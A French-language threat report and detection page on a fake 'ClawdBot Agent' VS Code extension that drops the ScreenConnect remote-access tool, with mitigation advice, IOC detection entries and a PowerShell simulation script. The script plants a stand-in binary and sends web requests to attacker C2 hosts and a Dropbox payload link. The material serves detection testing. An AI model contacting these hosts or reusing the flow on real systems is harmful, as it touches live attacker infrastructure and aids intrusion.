Extension VS Code Fake ClowdBot Dépose ScreenConnect RAT
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Une extension malveillante de Visual Studio Code appelée ClawdBot Agent se présente comme un assistant de codage AI mais installe discrètement un outil d’accès à distance ScreenConnect sur Windows lorsque VS Code se lance. Au démarrage, l’extension tire un fichier de configuration d’un domaine contrôlé par un attaquant, puis télécharge et exécute un faux binaire de VS Code (Code.exe) accompagné de DLL de support. Comme chemin de livraison secondaire, elle peut récupérer le même installateur à partir d’un lien Dropbox pour maintenir la disponibilité de la charge utile. La campagne abuse d’un outil de support informatique de confiance pour se fondre dans une activité légitime de gestion à distance et réduire les soupçons.
Enquête
Les chercheurs ont acquis le package.json de l’extension, confirmé l’activation au démarrage de VS Code, et récupéré la configuration JSON distante listant les composants malveillants. L’analyse binaire a révélé des modules ScreenConnect signés qui faisaient des signaux à un serveur relais personnalisé. Une logique de repli supplémentaire a été trouvée en JavaScript et PowerShell, faisant référence à des domaines secondaires et à des charges utiles hébergées sur Dropbox. Des artefacts sur disque ont été observés sous le dossier %TEMP%Lightshot.
Atténuation
Supprimez l’extension ClawdBot Agent de VS Code et effacez les fichiers restants de l’emplacement d’installation de ScreenConnect et du répertoire %TEMP%Lightshot. Désinstallez le service client ScreenConnect et bloquez la connectivité sortante vers les domaines et IP relais identifiés. Tournez toutes les clés API ou secrets qui peuvent avoir été entrés dans l’extension.
Réponse
Détectez l’extension malveillante en surveillant les installations d’extensions de VS Code et la création du répertoire Lightshot. Alertez sur l’exécution de Code.exe ou de binaires ScreenConnect depuis des chemins non standards et sur les connexions sortantes vers meeting.bulletmailer.net:8041 ou l’adresse IP associée. Effectuez une analyse forensic de l’hôte pour confirmer la suppression de la persistance et identifier toute charge utile supplémentaire.
Flux d’attaque
Détections
Logiciel d’accès / gestion à distance alternatif (via process_creation)
Voir
Téléchargement ou importation via Powershell (via cmdline)
Voir
Logiciel d’accès / gestion à distance alternatif (via audit)
Voir
Logiciel d’accès / gestion à distance alternatif (via système)
Voir
IOCs (DestinationIP) à détecter : Fausse extension Clawdbot VS Code installe ScreenConnect RAT
Voir
IOCs (SourceIP) à détecter : Fausse extension Clawdbot VS Code installe ScreenConnect RAT
Voir
IOCs (HashSha256) à détecter : Fausse extension Clawdbot VS Code installe ScreenConnect RAT
Voir
IOCs (Emails) à détecter : Fausse extension Clawdbot VS Code installe ScreenConnect RAT
Voir
Fausse extension ClawdBot VS Code installe ScreenConnect RAT [Création de processus Windows]
Voir
Détection de la fausse extension Clawdbot VS Code installant ScreenConnect RAT [Connexion réseau Windows]
Voir
Exécution de simulation
Prérequis : La vérification pré-vol du télémètre et de la base doit avoir réussi.
Narrative d’attaque et commandes
- L’attaquant publie une extension VS Code truffée de malwares intitulée « Clawdbot Helper ».
-
La victime installe l’extension via le marché de VS Code, qui exécute un
postinstallscript qui dépose silencieusement le client ScreenConnect (ScreenConnect.Client.exe) dans%APPDATA%ScreenConnect. - Immédiatement après l’installation, le client initie trois connexions TCP sortantes vers les domaines C2 contrôlés par l’attaquant pour récupérer des charges utiles supplémentaires et signaler l’état de l’hôte.
-
Les connexions sortantes génèrent des enregistrements Sysmon Event ID 3 correspondant à la
dest_ipliste, satisfaisant la règle de détection.
Script de test de régression
# --------------------------------------------------------------
# Routine post-installation simulée de l'extension malveillante VS Code
# --------------------------------------------------------------
# Étape 1 – Déposer un binaire ScreenConnect fictif (simulé)
$payloadPath = "$env:APPDATAScreenConnectScreenConnect.Client.exe"
New-Item -ItemType Directory -Path (Split-Path $payloadPath) -Force | Out-Null
# Créer un binaire de remplacement inoffensif (par exemple, une copie de notepad.exe)
Copy-Item -Path "$env:SystemRootSystem32notepad.exe" -Destination $payloadPath -Force
# Étape 2 – Établir des connexions sortantes vers chaque hôte C2
$c2Hosts = @(
"http://meeting.bulletmailer.net/collect",
"http://clawdbot.getintwopc.site/payload",
"https://www.dropbox.com/s/evilpayload.exe"
)
foreach ($url in $c2Hosts) {
try {
# Requête web silencieuse ; -UseBasicParsing évite les invites UI
Invoke-WebRequest -Uri $url -Method GET -UseBasicParsing -TimeoutSec 5 | Out-Null
Write-Host "Contacté $url"
} catch {
Write-Host "Échec de la tentative de contact avec $url (attendu dans un sandbox)."
}
}
# Fin du script – à ce stade Sysmon devrait avoir enregistré trois
# événements NetworkConnect dont les valeurs DestinationIp correspondent à la règle.
Commandes de nettoyage
# --------------------------------------------------------------
# Supprimer les artefacts simulés
# --------------------------------------------------------------
# Arrêter les tâches PowerShell persistantes (aucune dans ce script simple)
Get-Job | Remove-Job -Force
# Supprimer le dossier client ScreenConnect fictif
Remove-Item -Path "$env:APPDATAScreenConnect" -Recurse -Force
# Optionnellement, effacer la mémoire tampon Sysmon (nécessite un administrateur)
# sysmon -c